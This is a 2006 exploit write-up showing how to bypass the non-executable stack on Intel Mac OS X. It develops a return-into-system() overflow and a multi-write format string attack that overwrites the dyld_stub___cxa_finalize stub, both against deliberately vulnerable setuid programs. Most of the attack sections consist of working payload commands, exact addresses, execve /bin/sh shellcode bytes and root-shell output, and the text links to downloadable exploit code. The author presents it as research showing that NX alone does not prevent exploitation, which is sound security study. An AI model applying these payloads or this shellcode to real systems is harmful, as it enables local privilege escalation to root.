Non eXecutable Stack Lovin on OSX86
Non eXecutable Stack Lovin on OSX86
kf[at]digitalmunition[dot]com
05/18/06
After my obligatory Cinco De Mayo Corona hangover had passed, I decided it was
time to score a little
Non eXecutable Mac Mini Hotness from my local Apple retailer. After calmly
explaining to the salesman
"NO, I don't want a keyboard OR a mouse... no monitor! NO extra ram either,
JUST the MacMini!" I made
my purchase and returned home quickly.
Before I knew it the OS was installed and it was time to lift up the Mini's
skirt and see what was
going on behind the scenes. The first thing I wanted to do was verify that the
non executable stack
was actually doing what it was designed to do. Simply creating a vulnerable
program and trying to run
code from the stack was enough to validate that Apple had at the very least
made proper use of the NX
flag in their intel product line.
k-fs-computer:~ kf$ cat > test.c
// make me setuid root
main(int *argc, char **argv)
{
char buf[200];
sprintf(buf, "%s", argv[1]);
printf("test\n");
printf("buf: %s\n", buf);
return 0;
}
k-fs-computer:~ kf$ cc -o test test.c
test.c: In function 'main':
test.c:4: warning: incompatible implicit declaration of built-in function
'sprintf'
test.c:5: warning: incompatible implicit declaration of built-in function
'printf'
k-fs-computer:~ kf$ gdb -q ./test
Reading symbols for shared libraries .. done
(gdb) `perl -e 'print "A" x 212 . "ABCD"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/kf/test `perl -e 'print "A" x 212 . "ABCD"'`
test
buf:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x44434241
0x44434241 in ?? ()
After locating the length to overwrite eip we simply need to locate our string
and
try to return into it.
(gdb) x/2s $edi
0xbffffbcc: "/Users/kf/test"
0xbffffbdb: 'A' <repeats 200 times>...
(gdb) r `perl -e 'print "A" x 212 . pack('l', 0xbffffbdb)'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/kf/test `perl -e 'print "A" x 212 . pack('l',
0xbffffbdb)'`
test
buf:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0xbffffbdb
0xbffffbdb in ?? ()
As you can see from the KERN_PROTECTION_FAILURE Apple has done a successful job
at implementing the
Intel NX bit support in OSX. The presence of the NX bit alone however does not
mean that OSX is
immune to code execution attacks.
Classic non executable stack bypass techniques involve return into libc based
exploits and OSX is
not exempt from this style of attack by any means. The KERN_PROTECTION_FAILURE
failure we experienced
above can in theory be bypassed by doing a simple return into system(). In
practice it seems to work
quite well.
Plenty of papers outline the methods involved in return into system() style
attacks so I won't go into
them here. In essence what we need is for the buffer to have the following
structure:
< Ax212 > < system address > < exit address > < /bin/sh address >
(Thanks to JohnH - john@xxxxxxxxxx for reminding me of the *proper* place to
stash "/bin/sh" )
Once everything is in place we are ready to rock, no shellcode hassle and no
KERN_PROTECTION_FAILURE
k-fs-computer:~ kf$ export SSH_CLIENT=" /bin/sh -i "
k-fs-computer:~ kf$ ./test `perl -e 'print "A"x212 . pack('l',0x90047530) .
pack('l', 0x90010bf0) .
pack('l',0xbffffd02)'`
test
buf:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
ýÿ¿
sh-2.05b# id
uid=501(kf) gid=501(kf) euid=0(root) groups=501(kf), 81(appserveradm),
79(appserverusr), 80(admin)
This should come as no shock... this technique is nothing new, but we should
keep in mind that this
IS an option for future exploits to take advantage of.
Having got *that* out of the way I wanted to get a little closer with my Mini,
you know *really*
get to know her. Since I had already peaked under the skirt a bit I decided it
was time for the
clothes to come completely off. =]
Consider this example program, how exactly can we make it give us some lovin?
#include <stdio.h>
#define BUFLEN 1024
int main(void)
{
char buf[BUFLEN];
while(fgets(buf,BUFLEN,stdin) != NULL){
printf(buf);
printf("\n");
}
return 0;
}
If this were a linux box I would simply start down the path of overwriting the
.dtors section. Since
we are on an OSX machine this is simply not an option as .dtors does not exist
(unless you are using
Objective-C?). Saved return addresses were an option I could explore however I
wanted to find a more
universal address to overwrite. After some poking around I decided that
dyld_stubs seemed ripe for
exploitation, they seem to be at fairly static across various updates to OSX
and the addresses are
the same for all binaries.
Between 0xa0011000 and 0xa00126f0 we find multiple addresses that can be
overwritten. Since the sample
I used was a simple local vulnerability overwriting something associated with
the exit() routine seemes
to make the most sense. The stub for cxa_finalize() makes a good target for
local exploitation as it is
called by exit().
0x90010ae3 <exit+19>: call 0xa00119f1 <dyld_stub___cxa_finalize>
dlyd_stub___cxa_finalize() simply contains an instruction to jump into the real
__cxa_finalize() code.
(gdb) x/i dyld_stub___cxa_finalize
0xa00119f1 <dyld_stub___cxa_finalize>: jmp 0x90010aff <__cxa_finalize>
If we overwrite this instruction (and consequently the one after it) with our
own jmp code we can
effectively take control of our target program. Attempting to jump into our
format string would do us
no good in this case due to the fact that it is located on the programs stack.
k-fs-computer:~ kf$ echo AAAABBBB%x.%x.%x.%x.%x | ./test3
AAAABBBB400.a0001bc0.0.41414141.42424242
k-fs-computer:~ kf$ ulimit -c 10000000
k-fs-computer:~ kf$ echo AAAABBBB%x.%x.%x.%n.%n | ./test3
Segmentation fault (core dumped)
k-fs-computer:~ kf$ gdb -q ./test3 /cores/core.10089
Reading symbols for shared libraries .. done
Core was generated by `./test3'.
#0 0x9000cd50 in __vfprintf ()
(gdb) x/10s $esi-16
0xbffff920: "AAAABBBB%x.%x.%x.%n.%n\n"
Jumping into 0xbffff920 would only result in the KERN_PROTECTION_FAILURE we
recieved earlier. Because of
this we will need some other location to stash shellcode. We want lovin but we
won't get it this way.
Using vmmap we can locate a potential area to overwrite.
In this particular instance we are going to take advantage of the fact that we
can write to the __IMPORT
region and leverage that as a springboard into the MALLOC region. The only
problem at this point is how
do we get shellcode into the MALLOC region?
k-fs-computer:~ kf$ vmmap 10112
Virtual Memory Map of process 10112 (bash)
Output report format: 2.0
==== Non-writable regions for process 10372
...
__IMPORT a0011000-a0013000 [ 8K] r-x/r-x SM=COW
/usr/lib/libSystem.B.dylib
...
==== Writable regions for process 10118
MALLOC 01800000-02008000 [ 8224K] rw-/rwx SM=PRV
DefaultMallocZone_0x300000
...
Since we are dealing with a format string vulnerability this seems like a
classic time to attempt a
multi write format string attack. In essence we will need to perform 16 writes
to both the MALLOC and
__IMPORT regions. We will have to make 12 seperate writes to get Nemo's x86
execve placed in the MALLOC
region and then 2 more for the jump code. Keeping in mind NULL characters I
chose to go with 0x01811111
as my write address for the execve() code. We want this area of memory to look
as follows:
0x1811111: 0xc031
0x1811113: 0x6850
0x1811115: 0x2f2f
0x1811117: 0x6873
0x1811119: 0x2f68
0x181111b: 0x6962
0x181111d: 0x896e
0x181111f: 0x50e3
0x1811121: 0x5454
0x1811123: 0x5353
0x1811125: 0x3bb0
0x1811127: 0x80cd
In essence this will create the following in memory:
// Shellcode by Nemo - nemo[at]felinemenace[dot]org
// execve of /bin/sh
// OSX x86
// Reworked BSD code from Metasploit ?
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x54\x53\x53\xb0\x3b\xcd\x80";
int main(int ac, char **av)
{
void (*fp)() = shellcode;
fp();
}
Next we want the jumpcode located at dyld_stub___cxa_finalize() to looks like
this:
0xa00119f1 <dyld_stub___cxa_finalize>: 0x11b8
0xa00119f3 <dyld_stub___cxa_finalize+2>: 0x8111
0xa00119f5 <dyld_stub___cxa_finalize+4>: 0xff01
0xa00119f7 <dyld_stub__dyld_get_image_header_containing_address+1>: 0x00e0
These bytes will translate into our jump to 0x1811111.
(gdb) x/i 0xa00119f1
0xa00119f1 <dyld_stub___cxa_finalize>: mov $0x1811111,%eax
0xa00119f6 <dyld_stub__dyld_get_image_header_containing_address>: jmp
*%eax
Putting this all together we wind up with a nice way to bypass the NX flags and
get a little
Non eXecutable Lovin.
For what ever reason there is currently some issue with this particular example
calling /bin/sh
because of this I will temporarily replace /bin/sh with /usr/bin/id. I have
already invested
quite a bit of time into this and quite honestly don't feel like debuging what
is going on. I
got my Lovin... if you want your own feel free to dive in.
k-fs-computer:~ kf$ sudo chown root: /Users/kf/dyld_stub_overwrites/test3
k-fs-computer:~ kf$ sudo chmod 4755 /Users/kf/dyld_stub_overwrites/test3
k-fs-computer:~ kf$ sudo cp /usr/bin/id /bin/sh
Regardless of that minor triviality we can see that we are able to execute code
despite the NX
flag being present. Our Lovin has arrived.
k-fs-computer:~/dyld_stub_overwrites kf$ ./multiwrite.pl > file
k-fs-computer:~/dyld_stub_overwrites kf$ ./test3 < file
...
00000000000001610540555
uid=501(kf) gid=501(kf) euid=0(root) groups=501(kf), 81(appserveradm),
79(appserverusr), 80(admin)
The goal of this text is to show that unlike some folks would like you to
believe the move to x86
architecture really does open up new avenues of exploitation for OSX systems.
Although the NX bit
ups the bar it does not prevent exploitation.
I would like to take the time to once again thank John Hale for all of his
help. Not only do you
point out my mistakes, but your code snippets help make me a lazy man.
Much thanks also goes to Nemo of Feline Menace for the OSX x86 shellcode and
other suggestions.
Example exploit code can be located at:
http://www.digitalmunition.com/dyld_stub_overwrites.tar.gz
Enjoy it while you can folks... I have a feeling that both shared library and
heap randomization
are on the way.